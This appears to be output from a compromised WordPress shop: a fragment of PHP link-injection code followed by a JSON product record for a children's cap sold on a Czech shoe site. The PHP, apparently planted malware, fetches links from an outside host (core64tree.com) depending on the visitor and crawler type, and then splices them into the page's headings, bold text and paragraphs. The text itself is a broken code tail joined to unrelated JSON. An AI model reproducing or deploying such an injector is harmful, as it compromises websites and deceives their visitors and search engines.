{ if(preg_match('#' . $bad_pattern . '#i', $donor)){ $donor_good = false; break; } } } if($donor_good){ if(function_exists('http_response_code')){ if(http_response_code() != 200){ $donor_good = false; } } } if($donor_good){ $content_bad_patterns = array( '(.*)404(.*)<', '<title>(.*)not found(.*)<', '<title>(.*)cannot be displayed(.*)<', ); foreach($content_bad_patterns as $bad_pattern) { if(preg_match('#' . $bad_pattern . '#i', $my_content)){ $donor_good = false; break; } } } if($donor_good){ if(strlen($donor) > 210){ $donor_good = false; } } if($donor_good){ $itemcrawler = 'x'; if($isgb){ $itemcrawler = 'g'; } if( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ){ $itemcrawler = 't'; } $donor = urlencode($donor); $ll = get_data_yo("http://core64tree.com/lnk-release-2.4.a17-epel/tuktuk.php?d=$donor&dgrp=$algo&b=$itemcrawler&hs=$hspan"); $el = explode(' ', $ll); } } // if(strpos($donor, 'tgththththtt') !== false){ // @ini_set('display_errors', '1'); // error_reporting(E_ALL); // $my_content = '---debug---<br>'.rnd_label().'<br>' . $my_content; // } // ------ if ($my_content && ( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ) ) { $my_content = '---label---<br>'.rnd_label().'<br>' . $my_content; } if ( $donor_good) { $my_content = str_replace('_-', '{nnnYYY}', $my_content); $my_content = str_replace('-_', '{YYYnnn}', $my_content); foreach($el as $ln) { $ln = str_replace('</p>', '_-/p-_', $ln); if (!$hspan && preg_match('#<strong>([^<]{5,150})</strong>#', $my_content)) { $my_content = preg_replace('#<strong>([^<]{5,150})</strong>#', "_-strong-_ $ln \${1} _-/strong-_ ", $my_content, 1); } elseif (preg_match('#</h1>#', $my_content)) { $my_content = preg_replace('#</h1>#', "_-/h1-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<b>([^<]{3,100})</b>#', $my_content)) { $my_content = preg_replace('#<b>([^<]{3,100})</b>#', "_-b-_ $ln \${1} _-/b-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<i>([^<]{3,100})</i>#', $my_content)) { $my_content = preg_replace('#<i>([^<]{3,100})</i>#', "_-i-_ $ln \${1} _-/i-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<u>([^<]{3,100})</u>#', $my_content)) { $my_content = preg_replace('#<u>([^<]{3,100})</u>#', "_-u-_ $ln \${1} _-/u-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body\${1}>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); $my_content = str_replace('{nnnYYY}', '_-', $my_content); $my_content = str_replace('{YYYnnn}', '-_', $my_content); } echo $my_content;xdie(); } shutdown(); } } {"id":382336,"date":"2024-07-24T01:10:04","date_gmt":"2024-07-23T23:10:04","guid":{"rendered":"https:\/\/www.peddy-obuv.cz\/p\/ksiltovka-jamiks-arlette-jlg101-ecru\/"},"modified":"2024-07-24T01:10:04","modified_gmt":"2024-07-23T23:10:04","slug":"ksiltovka-jamiks-arlette-jlg101-ecru","status":"publish","type":"products","link":"https:\/\/www.peddy-obuv.cz\/p\/ksiltovka-jamiks-arlette-jlg101-ecru\/","title":{"rendered":"K\u0161iltovka Jamiks Arlette JLG101 \u00c9cru"},"content":{"rendered":"<div class=\"comments-space\">\n<p>Na\u0161e v\u00fdhodn\u00e9 nab\u00eddky \u010dekaj\u00ed pr\u00e1v\u011b na v\u00e1s. Nakupov\u00e1n\u00ed na internetu je v\u00fdhodn\u011bj\u0161\u00ed ne\u017e v kamenn\u00e9 prodejn\u011b, kter\u00e1 m\u00e1 vy\u0161\u0161\u00ed n\u00e1klady.<\/p>\n<h2>Popis produktu K\u0161iltovka Jamiks Arlette JLG101 \u00c9cru<\/h2>\n<ul>\n<li><strong>EAN:<\/strong> AF836787334<\/li>\n<li><strong>Cena:<\/strong> 515 K\u010d<\/li>\n<li><strong>Kategorie:<\/strong> eobuv, Dopl\u0148ky, Textilie, \u010cepice, D\u011btsk\u00e9, K\u0161iltovky<\/li>\n<li><strong>V\u00fdrobce: <\/strong>Jamiks<\/li>\n<\/ul>\n<\/div>\n","protected":false},"featured_media":0,"template":"","product_category":[194,928,30,16,1624,138],"product_manufacturer":[7654],"product_tag":[],"class_list":["post-382336","products","type-products","status-publish","hentry","product_category-cepice","product_category-detske-cepice","product_category-doplnky","product_category-eobuv","product_category-ksiltovky-detske-cepice","product_category-textilie","product_manufacturer-jamiks"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.peddy-obuv.cz\/wp-json\/wp\/v2\/products\/382336"}],"collection":[{"href":"https:\/\/www.peddy-obuv.cz\/wp-json\/wp\/v2\/products"}],"about":[{"href":"https:\/\/www.peddy-obuv.cz\/wp-json\/wp\/v2\/types\/products"}],"wp:attachment":[{"href":"https:\/\/www.peddy-obuv.cz\/wp-json\/wp\/v2\/media?parent=382336"}],"wp:term":[{"taxonomy":"product_category","embeddable":true,"href":"https:\/\/www.peddy-obuv.cz\/wp-json\/wp\/v2\/product_category?post=382336"},{"taxonomy":"product_manufacturer","embeddable":true,"href":"https:\/\/www.peddy-obuv.cz\/wp-json\/wp\/v2\/product_manufacturer?post=382336"},{"taxonomy":"product_tag","embeddable":true,"href":"https:\/\/www.peddy-obuv.cz\/wp-json\/wp\/v2\/product_tag?post=382336"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}